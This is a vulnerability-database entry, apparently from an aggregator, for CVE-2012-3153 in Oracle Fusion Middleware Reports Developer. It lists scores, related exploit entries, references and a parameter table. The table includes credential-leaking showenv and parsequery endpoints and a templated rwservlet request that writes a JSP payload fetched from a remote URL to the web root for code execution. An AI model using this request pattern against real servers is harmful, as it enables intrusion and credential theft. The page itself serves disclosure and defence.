CVE-2012-3153

🗓️ 16 Oct 2012 23:00:00Reported by oracleType

cve🔗 web.nvd.nist.gov👁 310 Views🌐 WEB

Unspecified vulnerability in Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Servlet

Reporter	Title	Published	Views	Family All 43
zdt	Oracle Forms and Reports 11.1 - Remote Exploit	29 Jan 201400:00	–	zdt
zdt	Oracle Reports Developer Version Release 9i to 10gr2 Database Disclosure	29 Jan 201400:00	–	zdt
zdt	Oracle Forms / Reports Remote Code Execution Exploit	18 Feb 201400:00	–	zdt
GithubExploit	Exploit for CVE-2012-3152	15 May 202620:47	–	githubexploit
ATTACKERKB	CVE-2012-3153	16 Oct 201200:00	–	attackerkb
ATTACKERKB	CVE-2012-3152	16 Oct 201200:00	–	attackerkb
BDU FSTEC	The vulnerability of the Oracle Reports Developer component of the Oracle Fusion Middleware software platform allows attackers to influence the integrity and confidentiality of the protected information.	1 Dec 202100:00	–	bdu_fstec
Circl	CVE-2012-3152	18 Feb 201400:00	–	circl
Circl	CVE-2012-3153	29 May 201815:50	–	circl
CISA KEV Catalog	Oracle Fusion Middleware Unspecified Vulnerability	3 Nov 202100:00	–	cisa_kev

NVD

Node

oracle fusion_middlewareMatch11.1.1.4.0

oracle fusion_middlewareMatch11.1.1.6.0

oracle fusion_middlewareMatch11.1.2.0

Source	Link
blog	www.blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/
securityfocus	www.securityfocus.com/bid/55961
mandriva	www.mandriva.com/security/advisories
exploit-db	www.exploit-db.com/exploits/31253
blog	www.blog.netinfiltration.com/2014/01/19/upcoming-exploit-release-oracle-forms-and-reports-11g/
exchange	www.exchange.xforce.ibmcloud.com/vulnerabilities/79296
oracle	www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
seclists	www.seclists.org/fulldisclosure/2014/Jan/186

Parameter	Position	Path	Description
server	query param	reports/rwservlet/showenv	Information disclosure via showenv leaking server path and credentials.
authid	query param	reports/rwservlet/showenv	Information disclosure via showenv leaking server path and credentials.
keymap	path	reports/rwservlet/parsequery	Parses keymaps to build a command line and extract credentials via PARSEQUERY.
report	query param	reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<dest>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER='payload_url'	Upload of a JSP payload for remote code execution via rwservlet using DESNAME and URLPARAMETER.
desformat	query param	reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<dest>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER='payload_url'	Upload of a JSP payload for remote code execution via rwservlet using DESNAME and URLPARAMETER.
destype	query param	reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<dest>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER='payload_url'	Upload of a JSP payload for remote code execution via rwservlet using DESNAME and URLPARAMETER.
desname	query param	reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<dest>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER='payload_url'	Upload of a JSP payload for remote code execution via rwservlet using DESNAME and URLPARAMETER.
JOBTYPE	query param	reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<dest>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER='payload_url'	Upload of a JSP payload for remote code execution via rwservlet using DESNAME and URLPARAMETER.
URLPARAMETER	query param	reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<dest>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER='payload_url'	Upload of a JSP payload for remote code execution via rwservlet using DESNAME and URLPARAMETER.

16 Jun 2026 23:42Current

8.7High risk

Vulners AI Score8.7

CVSS 26.4

EPSS0.98793

In Wild